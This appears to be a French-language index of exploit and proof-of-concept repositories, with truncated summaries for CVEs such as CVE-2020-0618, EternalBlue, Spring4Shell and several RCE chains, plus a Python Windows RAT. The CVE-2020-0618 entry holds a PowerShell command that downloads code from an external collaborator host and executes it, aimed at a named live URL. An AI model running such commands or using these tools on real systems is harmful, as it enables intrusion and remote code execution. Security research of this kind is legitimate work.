CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - lien vulnérable $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes ...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Exécution de code à distance – Composant graphique Windows x64 Exécution de code à distance critique via un JPEG malveillant – Windows 11 24H2 non corrigé CVSS 9.8 – Aucun privilège, aucune interaction requise CVE-2025-50165 - windowscodecs.dll déréférencement de pointeur non fiabl...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

Aperçu CVE-2022-21445 score CVSS 9,8, la vulnérabilité est une désérialisation de données non fiables, identifiée dans le composant ADF Faces, pouvant être exploitée à distance sans authentification pre-authentication par des pirates pour exécuter du code à distance RCE. Cette vulnérabilité a été...

Windows-Python-RAT

Windows-Python-RAT Outil d'administration à distance Microsoft Windows Langage : Python Codeur : Sir.4m1R Développeur : Ahoora Mansouri Propulsé par The404Hacking Groupe de Recherche en Sécurité Numérique Robot pour les tests initiaux de Windows-Python-RAT ID du Bot : @WPRATBot Jeton :...

Peyara-FileUpload

Titre de l'exploit : Peyara Remote Mouse v1.0.1 — Téléversement arbitraire de fichiers sans authentification Date : 2025-01-06 Auteur de l'exploit : tmrswrr Lien du logiciel : https://peyara-remote-mouse.vercel.app/ Plateforme : Windows Version : v1.0.1 Testé sur : Windows 10 USAGE : python3...

cve-2022-26809

CVE-2022-26809 Détecte les tentatives et l'exploitation réussie de CVE-2022-26809, une vulnérabilité d'exécution de code à distance via DCE/RPC. Ce paquet est décrit en détail dans cet article de blog Corelight. Ce paquet génère les notifications suivantes : CVE202226809::ExploitAttempt, et...

opendcim-exploit

openDCIM - SQLi vers RCE par empoisonnement de configuration Chaîne d'exécution de code à distance ciblant le formulaire de configuration LDAP de install.php d'openDCIM. Construit sur le framework VulnCheck go-exploit. Chaîne de vulnérabilités | CVE| CWE| Description ---|---|---|--- 1|...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution La machine attaquante est Kali Linux et Windows Server 2008 R2 est la machine cible. Importez le serveur Windows 2008 R2 à partir du lien https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing dans votre...

CVE-2021-30461

CVE-2021-30461 VOIP RCE Технические детали https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ YouTube : https://www.youtube.com/watch?v=9VBI6Lq-Rw Подписывайтесь на нас Vulnmachines YouTube Twitter Facebook LinkedIn...

libreofficeExploit1

Manuel de base de la génération d'un exploit Cette entrée montre comment utiliser une faille simple d'un programme pour ouvrir une porte dérobée dans le système utilisant ce programme. La faille en question est définie dans le CVE-2018-16858 appartenant à la suite bureautique LibreOffice. Cette...

CVE-2022-22947-POC

Spring-Cloud-Gateway-CVE-2022-22947 Avis de sécurité relatif à la vulnérabilité d'exécution de code à distance dans Spring Cloud Gateway. Cette vulnérabilité permet à une application utilisant Spring Cloud Gateway d'être soumise à une attaque par injection de code lorsque le point de terminaison...

CVE-2023-28343

CVE-2023-28343 Vulnérabilité RCE settimezone dans Altenergy Power System Control Software CVE-2023-28343 Nom chinois : Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） Score CVSS:9.0 Description : Altenergy Power System Control Software est un logiciel de contrôle de...

CVE-2024-3105-PoC

CVE-2024-3105 PoC Le plugin WordPress Woody code snippets – Insert Header Footer Code, AdSense Ads est vulnérable à l'exécution de code à distance dans toutes les versions jusqu'à la 2.5.0 incluse, via le shortcode 'insertphp'. Cela est dû au fait que le plugin ne restreint pas l'utilisation de...

SGLang-0.5.9-RCE

SGLang SSTI vers RCE PoC — Rendu non sandboxé du template de chat Jinja2 CVE-2026-5760 Exécution de code à distance via injection de templates côté serveur SSTI dans le point de terminaison de re-ranking de SGLang. Un fichier de modèle GGUF malveillant avec un tokenizer.chattemplate contrefait...

GenGravSSTIExploit

EN GenGravSSTIExploit est un script PoC Python qui exploite une vulnérabilité authentifiée d'injection de templates côté serveur SSTI dans Grav CMS versions -p : URL cible au format https://nomhôte. : Numéro de port par défaut 80. Exemple : python GenGravSS...

CVE-2022-22965

Analyse de CVE-2022-22965Spring4Shell Description de la vulnérabilité Spring4Shell est le nom d'une CVE existant sur Spring Core du Spring Framework. Avec un score CVSS 3.x de 9.8, la vulnérabilité est classée au plus haut niveau de risque critique. Cette vulnérabilité permet à un attaquant...

SSH-Remote-Code-Execution

Exécution de code à distance via SSH SSH Zero-Day | Créé par ClumsyLulz & Taylor Christian Newsome Résumé Ce dépôt contient un programme C qui accepte des paramètres d'entrée et génère un paquet à envoyer à un serveur via le protocole SSH. Le programme alloue un tampon buffer pour stocker les...

CVE-2025-9216

StoreEngine – Puissant plugin eCommerce WordPress pour paiements, adhésions, affiliés, ventes et plus = 1.4.0 - Téléchargement arbitraire de fichiers par utilisateur authentifié Abonné+ Le plugin StoreEngine contient une vulnérabilité dans sa fonctionnalité d'import/export CSV qui permet à tout...

S2-055

S2-055 Exploit de vulnérabilité de désérialisation CVE-2017-7525 Processus d'exploitation javac ExploitCommand.java package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...

docker-CVE-2019-11043

Image Docker et commandes pour vérifier CVE-2019-11043 CVE: CVE-2019-11043 Description : Dans les versions PHP 7.1.x antérieures à 7.1.33, 7.2.x antérieures à 7.2.24 et 7.3.x antérieures à 7.3.11, dans certaines configurations de FPM, il est possible d'amener le module FPM à écrire au-delà des...